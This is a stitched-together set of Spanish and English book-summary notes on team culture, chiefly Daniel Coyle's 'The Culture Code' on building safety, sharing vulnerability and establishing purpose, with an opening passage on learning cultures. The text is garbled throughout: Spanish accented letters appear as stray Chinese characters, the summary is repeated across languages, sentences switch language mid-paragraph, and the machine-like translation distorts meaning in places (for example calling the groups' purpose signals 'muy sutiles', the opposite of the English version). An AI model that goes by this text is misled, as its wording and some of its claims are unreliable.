Las culturas de aprendizaje, donde la gente est谩 constantemente investigando nuevas y mejores cosas de hacer las cosas est谩n basadas en una combinaci贸n de seguridad psicol贸gica y responsabilidad. Aunque pueden parecer como opuestos completos la parte dulce es cuando ambos est谩n presentes. 

Si tienes una seguridad psicol贸gica sin responsabilidad, la gente tiende a permanecer en su zona de confort. Cuando existe responsabilidad pero no es segura, la gente tiende a permanecer en silencio en la zona de ansiedad.

El t茅rmino de seguridad psicol贸gica fue hecho popular por Amy Edmonsdon de Harvard University:

Es una creencia que no ser谩 publicada cuando cometes un error lo que fomenta la creatividad y moderar la toma de riesgo que ayuda a la organizaciones a florecer.

Entonces: 驴C贸mo creas una organizaci贸n de aprendizaje

Para crear una cultura de seguridad, puedes:

  1. Comenzar admitiendo algo de tus imperfecciones a tu equipo, y
  2. Constantemente invitar a la critica constructiva,
  3. Esto ayudar谩 a otros a sentirse c贸modos admitiendo cuando est茅n equivocados y focalizarse en solucionar temas en vez de esconderlos.

Para crear una cultura de responsabilidad del proceso, puedes comenzar haciendo que todos se pregunten: 驴C贸mo lo sabes? 驴C贸mo sabes que si intentamos aquel nuevo enfoque no funcionar谩? o 驴C贸mo sabes que esto produjo tal error? Es f谩cil pero efectivo mantener a todos focalizados en encontrar un mejor modo adelante, mientras garantizamos que no estamos ciegamente aceptando opciones como hechos.

Conclusion

En un mundo que esta demand谩ndonos que repensemos casi todo, es un libro que nos ayuda dejar fuir el conocimiento y las opiniones que no nos est谩n ya sirviendo, y encontrar nuestra identidad en la flexibilidad, en vez de nuestra consistencia.

El Secreto de los Equipos Mas Exitosos del Mundo

La cultura de grupo es una de las mayores fuerzas que existen. Podemos percibir su presencia en los negocios de 茅xito, en los equipos que lideran los campeonatos y en las familias m谩s pr贸speras, y enseguida notamos cu谩ndo falta y cu谩ndo se ha vuelto t贸xica. Todos queremos implantar una cultura fuerte en nuestras respectivas organizaciones, comunidades y familias. Sabemos que funciona, pero no sabemos con exactitud c贸mo.

Solemos considerarla un rasgo grupal, como el ADN. Las culturas s贸lidas y bien fundamentadas como las de Google, Disney o los SEAL de la Armada estadounidense parecen tan singulares y caracter铆sticas que podr铆an calificarse de inamovibles, como si de alguna manera estuvieran predestinadas a ser as铆. De acuerdo a este razonamiento, unos grupos son agraciados con una cultura s贸lida y otros no.

Este libro adopta una perspectiva distinta. Tras investigar los grupos de mayor 茅xito del mundo, Daniel Coyle lleg贸 a la conclusi贸n de que sus respectivas culturas nac铆an de un conjunto espec铆fico de habilidades que aprovechan el potencial de nuestro cerebro social.

La habilidad 1, 芦Labrar la seguridad禄, profundiza en c贸mo las se帽ales de vinculaci贸n establecen lazos de pertenencia y de identidad.

La habilidad 2, 芦Comparte la vulnerabilidad禄, explica c贸mo el h谩bito de afrontar riesgos comunes propicia la cooperaci贸n basada en la confianza.

Y la habilidad 3, 芦Define un prop贸sito禄, detalla c贸mo las narraciones implantan objetivos y valores comunes.

Con extraordinaria amenidad, este libro explora c贸mo funciona cada una de estas tres habilidades y da a conocer las experiencias de los grupos y los l铆deres que emplean estos m茅todos a diario en un mundo siempre cambiante. Aunque pueda parecer que una cultura de 茅xito se consigue por arte de magia, no es as铆. La cultura es un conjunto de relaciones vivas con un objetivo com煤n. No es algo que seas, sino algo que haces.

La cultura Grupal es una de las fuerzas m谩s poderosas en el planeta, Sentimos su presencia dentro del negocio exitoso, equipos campeones y familias pr贸speras. y sentimos cuando est谩 ausente o t贸xica. Cuando miramos a estas organizaciones, tendemos focalizar en la gente inmerso en la cultura para ganar una introspecci贸n. Focalizamos en lo que podemos ver tales como habilidades individuales. 

Las habilidades individuales sin embargo no son lo que importa. Lo que importa es la interacci贸n.. 

En este libro, Coyle presenta sus descubrimientos, argumentando que la cultura no es algo que tu eres sino algo que tu y que es creado por un conjunto espec铆fico de habilidades.

  • Habilidad 1鈥擟onstruir Seguridad: Como las se帽ales de conexi贸n generan v铆nculos de pertenencia e identidad.
  • Habilidad  2鈥擟ompartir Vulnerabilidad: Como los h谩bitos de riesgo mutuo conducen cooperaci贸n confiada,
  • Habilidad 3鈥擡stablecer Objetivo: Como las narrativas crean objetivos compartidos y valores. 

Habilidad 1: Construir Seguridad 

La seguridad es la base en la cual se construye una cultura fuerte. 驴D贸nde viene y c贸mo haces para construirla?

La gente dentro de grupos altamente exitosos describen su relaci贸n con otro grupo utilizando una palabra: Familia. Incluso, como en las familias, la mayor parte de la comunicaci贸n es con c贸digos de pertenencia supportive no verbal. 

Nosotros, los seres humanos tenemos se帽ales utilizadas por un largo periodo incluso antes del lenguaje y nuestras se帽ales de pertenencia poseen tres cualidades b谩sicas.

     鈥 Energ铆a: Invertimos en el intercambio que esta sucediendo,

     鈥 Individualizaci贸n: Tratamos a la persona tan 煤nica y valorada. 

     鈥 Orientaci贸n Futura: Se帽alamos que  la relaci贸n continuar谩 

Estas pistas agregan a un mensaje que puede ser descrito con una frase simple: Est谩s a salvo aqu铆. Me ves. 

C贸mo Construir Pertenencia 

Un error de concepto sobre las culturas altamente exitosas es que son felices lugares sin coraz贸n. A misconception about highly successful cultures is that they are happy, light-hearted places. Whilst they are energized and engaged, at their core their members are oriented less around achieving happiness than around solving hard problems together. This task involves many moments of high-candor feedback and uncomfortable truth-telling, when they confront the gap between where the group is, and where it ought to be. 

Researchers have discovered that one form of feedback boosts effort and performance so immensely that they deemed it 鈥渕agical feedback.鈥

Consider this simple phrase: 芦I鈥檓 giving you these comments because I have very high expectations and I know that you can reach them禄

None of the words in this statement contain any information on how to improve. Yet, they are powerful because they deliver a burst of three belonging cues: You are part of this group. This group is special; we have high standards here. I believe you can reach those standards. 

How to Design for Belonging 

Coyle goes into detail of his interactions with Tony Hsieh of Zappos and Hsieh鈥檚 ability to develop belonging. He describes how at an event, Hsieh comes alive as he moves around meeting people, talking to them, introducing them to Coyle and to others. Coyle highlights how Hsieh had a connection with everyone, and more impressively, sought to build connections between others.

Beneath Hsieh鈥檚 approach lies a mathematical structure based on what he calls collisions. Collisions鈥攄efined as serendipitous personal encounters鈥攁re, he believes, the lifeblood of any organization, the key driver of creativity, community, and cohesion. Hsieh鈥檚 tools are grade school simple鈥擬eet people, you鈥檒l figure it out. 

In another experiment, different engineering companies were given the same challenge and observations were made of their working practices. What transpired was that the most successful projects were those driven by sets of individuals who formed 鈥渃lusters of high communicators.鈥 

Did they possess the same levels of intelligence? Had they attended the same undergraduate schools or achieved the same level of degrees? Did they possess the most experience or the best leadership skills? No. Only one factor seemed to play a meaningful role in cohesion – the distance between their desks.

What mattered most in creating a successful team had less to do with intelligence and experience, and more to do with where the desks happened to be located. Closeness helped create efficiencies of connection. 

Ideas for Action 

Building safety requires you to recognize patterns, react quickly, and deliver the right signal at the right time. 

Overcommunicate Your Listening:

It looks like this – head tilted slightly forward, eyes unblinking, and eyebrows arched up. Body still, leaning toward the speaker with intent.

SPotlight Your Fallibility Early On: Especially If You鈥檙e a Leader: Open up, show you make mistakes, and invite input with simple phrases like 鈥淭his is just my two cents.鈥 鈥淥f course, I could be wrong here.鈥 鈥淲hat am I missing?鈥 鈥淲hat do you think?鈥 

Embrace the Messenger: One of the most vital moments for creating safety is when a group shares bad news or gives tough feedback. Don鈥檛 shoot the messenger, you have to hug the messenger and let them know how much you need that feedback. By doing so, you can be sure they feel safe enough to tell you the truth next time.

Overdo Thank-Yous: Thank-yous aren鈥檛 the only expressions of gratitude. They are crucial belonging cues that generate a contagious sense of safety, connection, and motivation. 

Capitalize on Threshold Moments: When we enter a new group, our brains decide quickly whether or not to connect. As such, successful cultures treat these threshold moments as more important than any other. 

Skill 2: Share Vulnerability 

The question 芦Tell me what you want, and I鈥檒l help you,禄 can unlock a group鈥檚 ability to perform.  

The key here involves a willingness to perform a certain behavior that goes against our every instinct – sharing vulnerability. 

When you watch highly cohesive groups in action, you will see many moments of fluid, trusting cooperation. These moments often happen when the group is confronted with a tough obstacle. Without communication or planning, the group starts to move and think as one, finding its way through the obstacle as if they are all wired into the same brain. 

The Vulnerability Loop 

At some level, we intuitively know that vulnerability tends to spark cooperation and trust. People tend to think of vulnerability in a touchy-feely way, but that鈥檚 not what鈥檚 happening in successful groups. It鈥檚 about sending a clear signal that you have weaknesses, and could use help. And, if that behavior becomes a model for others, then you can set the insecurities aside and get to work, start to trust each other and help one another. 

The second person is the key.

Person A sends a signal of vulnerability. Person B detects this signal. Person B responds by signalling their own vulnerability. Person A detects this signal. A norm is established; and closeness and trust increase. 

Vulnerability doesn鈥檛 come after trust鈥攊t precedes it. Leaping into the unknown, when done alongside others, causes the solid ground of trust to materialize beneath our feet. Being vulnerable gets the static out of the way and lets us do the job together, without worrying or hesitating. It lets us work as one unit.

Cooperation through being vulnerable together, does not simply descend out of the blue. It is a group muscle that is built according to a specific pattern of repeated interaction – a circle of people engaged in the risky, occasionally painful, ultimately rewarding process. 

How to Create Cooperation with Individuals: The Nyquist Method 

Coyle uses the story of Harry Nyquist, a quiet Swedish Engineer in the Bell Labs as an example. The story had to do with regularly eating lunch with Nyquist.

Nyquist possessed two important qualities. The first quality was warmth. Nyquist had a knack for making people feel cared for. The second quality was a relentless curiosity. In a landscape made-up of diverse scientific domains, he combined breadth and depth of knowledge with a desire to seek connections. Nyquist was full of ideas and full of questions. He could capture what someone was doing, throw some new ideas at them, and ask, 鈥榃hy don鈥檛 you try that?鈥濃

The most important moments in conversation happen when one person is actively and intently listening. It鈥檚 not an accident that concordance happens when there鈥檚 one person talking and the other person listening. It鈥檚 very hard to be empathic when you鈥檙e talking. Talking is really complicated, because you鈥檙e thinking and planning what you鈥檙e going to say, and you tend to get stuck in your own head. But not when you鈥檙e listening. When you鈥檙e really listening, you lose time. There鈥檚 no sense of yourself, because it鈥檚 not about you. It鈥檚 all about connecting completely to the other person.

Ideas for Action 

Make Sure the Leader Is Vulnerable First and Often: In moments of vulnerability, none carries more power than the moment when a leader signals vulnerability.

Try the following:

When Forming New Groups, Focus on Two Critical Moments: The first vulnerability and the first disagreement. These small moments are doorways to two possible group paths: Are we about appearing strong or about exploring the landscape together? Are we about winning interactions, or about learning together?

At these moments, people either dig in, become defensive, start justifying, and a lot of tension gets created. Or, they say something like, 鈥楬ey, that鈥檚 interesting. Why don鈥檛 you agree? I might be wrong, and I鈥檓 curious and want to talk about it some more.鈥 What happens in that moment helps set the pattern for everything that follows.

In Conversation, Resist the Temptation to Reflexively Add Value: The most important part of creating vulnerability often resides not in what you say, but in what you do not say. This means having the willpower to forgo easy opportunities to offer solutions and make suggestions. Skilled listeners do not interrupt with phrases such as, 芦Hey, here鈥檚 an idea…禄, or 芦Let me tell you what worked for me in a similar situation…禄 because they understand that it鈥檚 not about them. 

Align Language with Action: Many highly cooperative groups use language to reinforce their interdependence. For example, navy pilots returning to aircraft carriers do not 鈥渓and,鈥 but are 鈥渞ecovered.鈥 IDEO doesn鈥檛 have 鈥減roject managers鈥濃攊t has 鈥渄esign community leaders.鈥 Groups at Pixar do not offer 鈥渘otes鈥 on early versions of films; they 鈥減lus鈥 them by offering solutions to problems. These might seem like small semantic differences, but they matter because they continually highlight the cooperative, interconnected nature of the work and reinforce the group鈥檚 shared identity. 

Be Occasionally Absent: The New Zealand All-Blacks rugby team have made a habit of this, as players lead several practice sessions each week with little input from the coaches. Coaches responded: 鈥淭hey were better at figuring out what they needed to do themselves than I could ever be.鈥 

Skill 3: Establish Purpose 

When Coyle visited successful groups, he noticed that whenever they communicated anything about their purpose or their values, they were as subtle as a punch in the nose. It started with the surroundings.

For example, when you walk into SEAL headquarters at Dam Neck, Virginia, you pass a twisted girder from the World Trade Center bombing, a flag from Mogadishu, and so many memorials to fallen SEALs that it resembles a military museum. 

Walking into Pixar鈥檚 headquarters feels like walking into one of its movies. From full-sized characters such as Toy Story’s Woody and Buzz made of LEGOs to the twenty-foot-tall Luxo Lamp outside the entrance, everything gleams with Pixarian magic. 

What鈥檚 more, the same focus exists within their language. Walking around these places, you tend to hear the same catchphrases and mottos delivered in the same rhythms. This is surprising, since you could easily presume that Pixarians would not need to be reminded that technology inspires art, and art inspires technology or that the SEALs would not need to be reminded that it鈥檚 important to shoot, move, and communicate, 

And yet that is what they do. These groups, who by all rights should know what they stand for, devote a surprising amount of time telling their own story, reminding each other precisely what they stand for鈥攖hen repeating it ad infinitum.

Why? The purpose isn鈥檛 about tapping into some mystical internal drive, but rather about creating simple beacons that focus attention and engagement on the shared goal. Successful cultures do this by relentlessly seeking ways to tell and retell their story. To do this, they build high-purpose environments. 

High-purpose environments are filled with small, vivid signals designed to create a link between the present moment and a future ideal. They provide the two simple locators that every navigation process requires: Here is where we are, and Here is where we want to go. 

That shared future could be a goal or a behavior. It doesn鈥檛 matter. What matters is establishing this link and consistently creating engagement around it. What matters is telling the story. When we hear a story, however, our brain lights up, tracing the chains of cause, effect, and meaning. Stories are not just stories; they are the best invention ever created for delivering mental models that drive behavior. 

High-purpose environments are about sending ultra-clear signals that are aligned with a shared goal. They are less about being inspiring than about being consistent. They are found not within big speeches so much as within everyday moments when people can sense the message: This is why we work; this is what we are aiming for. 

How do you create one? The answer, it turns out, depends on the type of skills you want your group to perform. High-proficiency environments help a group deliver a well-defined, reliable performance, while high-creativity environments help a group create something new. This distinction is important because it highlights the two basic challenges facing any group: consistency and innovation. 

How to Lead for Consistency 

If you spend time around the New Zealand All-Blacks rugby team, you will hear them talk about 鈥渓eaving the jersey in a better place,鈥 and saying, 鈥淚f you鈥檙e not growing anywhere, you鈥檙e not going anywhere,鈥 keeping a 鈥渂lue head鈥 instead of a 鈥渞ed head鈥 (which refers to calmness under pressure), 鈥淧ressure is a privilege,鈥 鈥淭QB鈥攖otal quality ball,鈥 鈥淜BA鈥攌eep the ball alive,鈥 鈥淚t鈥檚 an honor, not a job,鈥 鈥淕o for the gap,鈥 and 鈥淏etter people make better All-Blacks.鈥 These types of trigger phrases can be created for your own organisation and be used to generate the energy needed by a high-purpose environment.

How to Lead for Creativity 

Creative leadership appears to be mysterious because we tend to regard creativity as a gift, as a quasi-magical ability to see things that do not yet exist and to invent them. Accordingly, we tend to think of creative leaders as artists. Coyle however states, when he visited leaders of successful creative cultures, he didn鈥檛 meet many artists. Instead, he met a different type, a type who spoke quietly and tended to spend a lot of time observing, who had an introverted vibe and liked to talk about systems and processes. He notes these leaders understood that teams are in a better position to solve problems, and a suggestion from a powerful person tends to be followed. Consequently they stepped aside to encourage creativity giving outline guidance and then stating 鈥淣ow it鈥檚 up to you.鈥 

El Secreto No Oculto de los Equipos Mas Exitosos del Mundo

驴Qu茅 hacen concretamente los mejores equipos, y qu茅 hacen los responsables de dichos equipos para precisamente liderar y conseguir sostener esos altos niveles de rendimiento? Daniel Coyle, autor del libro The Culture Code, es uno de esos expertos, investigadores, asesores y divulgadores que acierta especialmente en la forma de concebir un modelo de trabajo. Daniel describe el comportamiento humano, identifica claves para observar, ofrece pautas para practicarlo y acierta adem谩s a la hora de transmitirlo todo.

La cultura Grupal es una de las fuerzas m谩s poderosas en el planeta, Sentimos su presencia dentro del negocio exitoso, equipos campeones y familias pr贸speras. y sentimos cuando est谩 ausente o es t贸xica.

Cuando miramos a estas organizaciones:

  • Tendemos a focalizarnos en la gente inmersa en la cultura para ganar una introspecci贸n,
  • Focalizamos en lo que podemos ver tales como las habilidades individuales. 

Las habilidades individuales sin embargo no son lo que importa. Lo que importa es la interacci贸n. 

En este libro, Coyle presenta sus descubrimientos, argumentando que la cultura no se trata sobre lo que eres tu sino algo que tu puedes crear por un conjunto espec铆fico de habilidades:

  • Habilidad 1 Construir Seguridad: Como las se帽ales de conexi贸n generan v铆nculos de pertenencia e identidad.
  • Habilidad  2 Compartir Vulnerabilidad: Como los h谩bitos de riesgo mutuo conducen cooperaci贸n confiada,
  • Habilidad 3 Establecer Objetivo: Como las narrativas crean objetivos compartidos y valores. 

Habilidad 1: Construir Seguridad 

La seguridad es la base en la cual se construye una cultura fuerte. 驴De d贸nde viene y c贸mo haces para construirla?

La gente dentro de grupos altamente exitosos describen su relaci贸n con otro grupo utilizando una palabra: Familia. Incluso, como en las familias, la mayor parte de la comunicaci贸n es con c贸digos de pertenencia de apoyo no verbal. 

Nosotros, los seres humanos tenemos se帽ales utilizadas por un largo periodo incluso antes del lenguaje y nuestras se帽ales de pertenencia poseen tres cualidades b谩sicas:

  1. Energ铆a: Invertimos en el intercambio que esta sucediendo,
  2. Individualizaci贸n: Tratamos a la persona tan 煤nica y valorada, y
  3. Orientaci贸n Futura: Se帽alamos que  la relaci贸n continuar谩 

Estas pistas agregan a un mensaje que puede ser descrito con una frase simple: Est谩s a salvo aqu铆, 驴Me ves? 

C贸mo Construir Pertenencia 

Un error de concepto sobre las culturas altamente exitosas es que son felices lugares sin coraz贸n.

Mientras est谩n comprometidos, sus miembros est谩n orientados menos a alcanzar la felicidad solucionando problemas dif铆ciles. Esta tarea incluye muchos momentos del rendimiento y una b煤squeda de la verdad incomoda, cuando confrontan el vac铆o entre donde est谩 el grupo y donde deber铆a estar. 

Los investigadores han descubierto que una de las formas de devoluciones o feedback propulsa el esfuerzo y rendimiento tan inmensamente que ellos lo consideran el feedback m谩gico

Considera esta frase simple:

  • Te estoy dando estos comentarios porque tengo altas expectativas, y
  • S茅 que puedes alcanzarlas.

Ninguna de las palabras en esta declaraci贸n contienen cualquier informaci贸n en c贸mo mejorar. M谩s a煤n, son poderosos porque entregan una explosi贸n de las tres claves de pertenencia:

  • Eres parte de este grupo,
  • Este grupo es especial,
  • Tenemos altos niveles aqu铆,
  • Creo que puedes alcanzar aquellos niveles. 

C贸mo Dise帽ar Para la Pertenencia 

Coyle va en detalle de sus interacciones con Tony Hsieh de Zappos y la capacidad de  Hsieh para desarrollar la pertenencia:

  • El describe como en un evento, Hsieh revive a medida que se mueve conociendo personas, hablando con ellos, present谩ndoles a Coyle y a otros,
  • Coyle resalta como Hsieh: Ten铆a una conexi贸n con todos y m谩s expresivamente busco construir conexiones entre otros. 

El enfoque de Beneath Hsieh recae en la estructura matem谩tica basada en lo que 茅l llama colisiones.

Las colisiones, definidas como encuentros personales fortuitos, son la sangre de la vida de cualquier empresa, el conductor clave de la creatividad, comunidad y cohesi贸n.

Las herramientas de Hsieh son de la escueala primaria: Conoce Gente, ya lo descubrir谩s. 

En otro experimento:

  • Las empresas de ingenier铆a diferentes fueron dadas el mismo desaf铆o y se hicieron observaciones de sus pr谩cticas de trabajo,
  • Lo que revel贸 es fue que los proyectos m谩s exitosos fueron aquellos dirigidos por conjuntos de individuos que formaron grupos de altos comunicadores. 

Estos comunicadores:

  • 驴Ten铆an los mismos niveles de inteligencia?,
  • 驴Hab铆an asistido a las mismas escuelas universitarias o alcanzado el mismo nivel de carrera?,
  • 驴Ten铆an las mejores de las experiencias y las mejores habilidades de liderazgo?
  • No, solo un factor parec铆a jugar un rol significativo en la cohesi贸n, la distancia entre sus escritorios. 

Lo que importaba m谩s al crear un equipo exitoso que tuviera menos que ver con la inteligencia y experiencia y m谩s que ver con donde los escritorios est谩n ubicados. La cercan铆a ayud贸 a crear eficacia de conexi贸n. 

Ideas Para la Acci贸n 

Construir seguridad requiere que:

  • Reconozcan patrones,
  • Reacciones r谩pidamente, y
  • Entreguen la se帽al correcta en el momento correcto. 

Sobre Comunicar tu escucha

Parece as铆:

  • La cabeza un poco inclinada hacia adelante, los ojos sin parpadear y las cejas arqueadas,
  • El cuerpo quieto, hacia el orador con intenci贸n.

Destaca Tu Falibilidad Tempranamente

Especialmente Eres Un L铆der:

  • 脕brete,
  • Demuestra que cometes errores, e
  • Invita a contribuciones con frases como: Este es solo mis dos centavos. Por supuesto, Podr铆a estar equivocado aqu铆. 驴Que me perd铆? 驴Qu茅 piensas?

Abraza al Mensajero

Uno de los momentos m谩s vitales para crear la seguridad es cuando un grupo comparte malas noticias o da feedback duro

Por lo tanto:

  • No disparen al mensajero
  • Tienes que abrazarlo,
  • Permitirles saber cuanto necesitas de ese feedback,
  • Al hacerlo puedes estar seguro que se sienten lo suficientemente seguros para permitirte decir la verdad la pr贸xima vez. 

Da Muchas Gracias

Las Gracias no son las 煤nicas expresiones de gratitud. Son claves de pertenencia fundamentales que generan un sentido contagioso de:

  • Seguridad,
  • Conexi贸n, y
  • Motivaci贸n

Capitaliza en los Momentos Limites

Cuando entramos un nuevo grupo, nuestro cerebro decide r谩pidamente si conectamos o no. Como tal, culturas exitosas para estos momentos l铆mites tan mas importante que cualquier otro. 

Habilidad 2: Comparte Vulnerabilidad 

La pregunta Cu茅ntame que quieres y te ayudar茅, puede desbloquear una habilidad de grupo para desarrollar. 

La clave aqu铆 incluye una voluntad de desarrollar un cierto comportamiento que vaya en contra de nuestro instinto, compartiendo vulnerabilidad. 

Cuando observamos grupos de cohesi贸n en acci贸n:

  • Ver谩s muchos momentos de cooperaci贸n fluida y confiable,
  • Estos momentos por lo general suceden cuando el grupo es confrontado con un obst谩culo dif铆cil.
  • Sin comunicaci贸n o planificaci贸n, el grupo comienza a moverse y pensar como uno, encontrando su camino a trav茅s del obst谩culo como su ellos todos est谩n conectados al mismo cerebro. 

El Lazo de Vulnerabilidad 

En el mismo nivel, intuitivamente sabemos que la vulnerabilidad tiende a esparcir la cooperaci贸n y la confianza.

La gente tiende a pensar en la vulnerabilidad en un modo muy personal, pero no es lo que est谩 sucediendo en grupos exitosos.

Se trata de enviar una se帽al clara que tienes debilidad y puedes usar ayuda.  Y, si aquel comportamiento se convierte en un modelo para otros luego puedes dejar las inseguridades a parte y ponerte a trabajar, comienza confiando en los dem谩s y ayudar a los dem谩s. 

La segunda persona es la clave

Es cuando:

  • La Persona A comienza una se帽al de vulnerabilidad,
  • La Persona B responde se帽alando su propia vulnerabilidad,
  • La Persona A detecta esta se帽al,
  • Se establece una norma y aumenta la cercan铆a y la confianza.

La vulnerabilidad no viene despu茅s de la confianza, la precede. Meterse en lo desconocido, cuando lo hicieron otros, causa el suelo s贸lido de confianza.

Ser vulnerable hace que lo est谩tico salga del camino y nos permita hacer el trabajo de mejor manera, sin preocuparnos o dudar. Nos permite trabajar como unidad. 

La Cooperaci贸n a trav茅s de ser vulnerable juntos o simplemente desciende de la nada:

  • Es un m煤sculo grupal que est谩 construido de acuerdo a un patr贸n espec铆fico de interacciones repetidas,
  • Un c铆rculo de gente comprometido en el proceso de recompensa 煤ltimo doloroso y riesgoso. 

Como crear la Cooperaci贸n con Individuos. El M茅todo Nyquist 

Coyle utiliza la historia de Harry Nyquist, un ingeniero sueco en Bell Labs como ejemplo. La historia ten铆a que ver con comer el almuerzo en forma regular con Nyquist.

Nyquist ten铆a dos cualidades importantes:

  • La primera era la calidez. Nyquist ten铆a la habilidad de hacer que las personas se sintieran cuidadas, y
  • La segunda cualidad era una curiosidad implacable. En un escenario realizado por diversos dominios cient铆ficos, combin贸 la profundidad y amplitud del conocimiento con un deseo de buscar conexiones,
  • Nyquist estaba lleno de ideas y de preguntas. Pod铆a capturar lo que alguien estaba haciendo, arrojar algunas ideas nuevas y preguntarles: 驴Por qu茅 no intentas esto?鈥
Los momentos m谩s importantes en la conversaci贸n suceden cuando una persona est谩 activamente e intencionalmente escuchando. No es un accidente que el acuerdo sucede cuando existe una persona hablando y la otra persona est谩 escuchando.

Es dif铆cil ser emp谩tico cuando est谩s hablando. Hablar es realmente complicado, porque estas pensando y planeando lo que vas a decir, y t煤 tiendes a pegarte en tu propia cabeza.

Pero no cuando est谩s escuchando:

  • Cuando est谩s realmente escuchando, pierdes el tiempo,
  • No hay sentido de ti mismo porque no es sobre ti,
  • Se trata sobre conectar completamente con la otra persona.

Ideas para la Acci贸n 

Aseg煤rate que el L铆der sea Vulnerable Primero y Con Frecuencia: En momentos de vulnerabilidad, nada es m谩s poderoso que el momento cuando un l铆der se帽ala la vulnerabilidad. 

Intenta lo siguiente, cuando est茅s formando Nuevos Grupos, debes focalizar en dos momentos Fundamentales.

El Primero es el desacuerdo. Estos peque帽os momentos son puertas a dos posibles caminos grupales:

  • 驴Estamos a punto de ser fuertes o explorar el escenario juntos?,
  • 驴Estamos a punto de ganar interacciones o aprender juntos?

En estos momentos:

La gente indaga y se ponen a la defensiva, comienza a justificar y se crea mucha tensi贸n, o dice algo como:

  • Eh eso suena interesante. 驴Porque no nos ponemos de acuerdo?
  • Puedo estar equivocado,
  • Me interesa saber sobre eso y quiero hablar sobre eso un poco m谩s. Lo que sucede en aquel momento ayuda a establecer el patr贸n de todo lo que sigue.

En la Conversaci贸n, Resistir la Tentacion a Agregar Valor de manera reflexiva,

La parte m谩s importante de crear vulnerabilidad reside no en lo que dices, sino en lo que no dices. Esto significa tener la voluntad de renunciar a oportunidades f谩ciles de ofrecer soluciones y hacer sugerencias.

Los oyentes capacitados no interrumpen con frases como:

  • He aqu铆 tengo una idea, o
  • D茅jame que te diga lo que funcion贸 en mi caso en una situaci贸n similar,
  • Porque ellos comprenden que no se trata sobre ellos. 

Alinea el Lenguaje con la Acci贸n: Muchos grupos altamente cooperativos utiliza el lenguaje para reforzar su interdependencia. Por ejemplo, los pilotos navales regresan a los portaaviones no aterrizan sino que son recuperados. IDEO no tiene gerentes de proyectos, tiene l铆deres de comunidades de dise帽o. Los grupos en Pixar no ofrecen notas en versiones tempranas de pel铆culas, ellos ofrecen soluciones a problemas. Esto puede parecer como peque帽as diferencias sem谩nticas pero tienen importancia porque ellos continuamente se帽alan la naturaleza cooperativa y interconectada del trabajo y enforzar la identidad compartida del grupo  

Se Ocasionalmente Ausente: El equipo de rugby All Blacks de Nueva Zelanda tiene este h谩bito como jugadores lideran unas sesiones de pr谩ctica diversa cada semana con poco aporte de sus entrenadores. Los entrenadores respondieron> Ellos funcionaron mejor descubriendo lo que necesitaban hacer ellos mismos. 

Habilidad 3 : Establecer el Prop贸sito 

Cuando Coyle visitaba grupos exitosos, el noto que cuando ellos comunicaban todo sobre su prop贸sito o sus valores, ellos eran muy sutiles. Comenzaron con su entorno. 

Por ejemplo, Cuando ingresas en los Cuarteles de los SEAL en Virginia, pasas por una viga torcida del bombardeo al  World Trade Center bombing, una bandera de Mogadishu, y muchos monumentos a los ca铆dos de los SEAL que asemejan a un museo militar.

Ingresando a la Sede Central de Pixar sientes que est谩s en una de sus pel铆culas. Desde los personajes de gran tama帽o tales como Woody de toy Story y Buzz hechos de Legos al L谩mpara Luxo de 20 pies colocada afuera de la entrada, todo refleja la magia Pixariania. . 

Insumo el mismo foco existe dentro de su lenguaje. Caminando por estos lugares, tienden a escuchar las mismas lemas y mottos entregados en los mismos ritmos. Esto es sorprendente desde que podrias facilmente presumir que los Pixarianos no necesitar铆a ser recordado que la tecnolog铆a inspira el arte y el arte inspira la tecnolog铆a. o que los Seals no necesitarian ser recordados que es importante disparar, moverse y comunicarse. 

Y eso es lo que ellos hacen. Estos grupos que deben saber lo que representan dedican una sorprendente cantidad de tiempo contando su propia historia recordando a cada uno precisamente lo que ellos representan luego repitiendolo ad infinitum.

Porque? El objetivo no se trata de dirigirse a alguna fuerza interna m铆stica sino en crear se帽ales simples que llamen la atenci贸n y el acuerdo en el objetivo compartido. Las culturas exitosas hacen esto buscando caminos que digan y recuentan su historia. Para hacer esto, construyen entornos de gran objetivo. 

Los entornos de alto prop贸sito son llenados con se帽ales vividas peque帽as destinadas a crear un lazo entre el momento presente y un acuerdo futuro.Brindan las dos locadores simples que todo proceso de navegaci贸n requiere. Aqu铆 es donde estamos y aqu铆 es donde queremos ir.. 

Aquel futuro compartido podr铆a ser un objetivo o una conducta. No importa. Lo que importa es establecer este lazo y consistentemente crear un compromiso a el. Lo que importa es contar la historia. Cuando escuchamos una historia. sin embargo nuestros cerebros se encienden enlazando las cadenas de causa, efecto y significado. Las historias no son solo historias, son la mejor creaci贸n para entregar modelos mentales que conducen un comportamiento. 

Los entornos de gran prop贸sito se refieren a enviar se帽ales sumamente claras que est茅n alineadas con un objetivo compartido. Se trata menos sobre estar inspirando que sobre ser consistente. Se encuentran no dentro de los grandes discursos tanto como dentro de los momentos cotidianos con gente que puede sentir el mensaje. Esto es porque trabajamos esto es a lo que apuntamos. 

驴C贸mo crear uno? La respuesta, depende del tipo de habilidades que quieres que tu grupo rinda. Los entornos de alto competencia ayudan a un grupo a entregar un rendimiento confiable y bien definido mientras que los entornos altamente creatividad ayudan a un grupo a crear algo nuevo. Esta distinci贸n es importante porque recalca los dos desaf铆os b谩sicos que cualquier grupo debe enfrentar: consistencia e innovaci贸n. 

Como Liderar Con Consistencia 

Si pasas algo de tiempo con el equipo de rugby de Nueva Zelanda All blacks, escucharas a ellos decir que dejar el jersey en el mejor lugar y decir Si no est谩s creciendo en ning煤n lugar no vas est谩s yendo a ning煤n lado mantener una cabeza azul en vez de una roja (lo que se refiere a la tranquilidad bajo la presion), la presion es un privilegio Pelota de Calidad Totalm Mantener la pelota viva, Es un honor no un trabajo, Ir al vacio y La mejor personas hacen mejor a los All blacks. Este tipo de frases disparadoras pueden ser creadas por tu propia organizaci贸n y ser utilizadas para generar la energ铆a necesaria por un entorno de alto prop贸sito.  

C贸mo liderar para la Creatividad 

El liderazgo Creativo parece ser misterioso porque tendemos a considerar a la creatividad como un don, como una capacidad casi m谩gica para ver cosas que no existen a煤n y para inventarlas. Tendemos a pensar en l铆deres creativos como artistas. Sin embargo Coyle afirma que cuando 茅l visitaba a los l铆deres de culturas exitosamente creativas no se encontraba con muchos artistas sino que 茅l se encontraba un tipo diferente un tipo que hablaba tranquilamente y tend铆a a pasar el tiempo observando, quien ten铆a un ona da introvertida y le gustaba hablar acerca de sistemas y procesos. Nota que estos l铆deres comprend铆a que los equipos son mejores resolviendo problemas y que se suele seguir una sugerencia de una persona poderosa. en consecuencia fomentan la creatividad dando una guia de esquemas y luego dicen: Ahora esta en ti.  

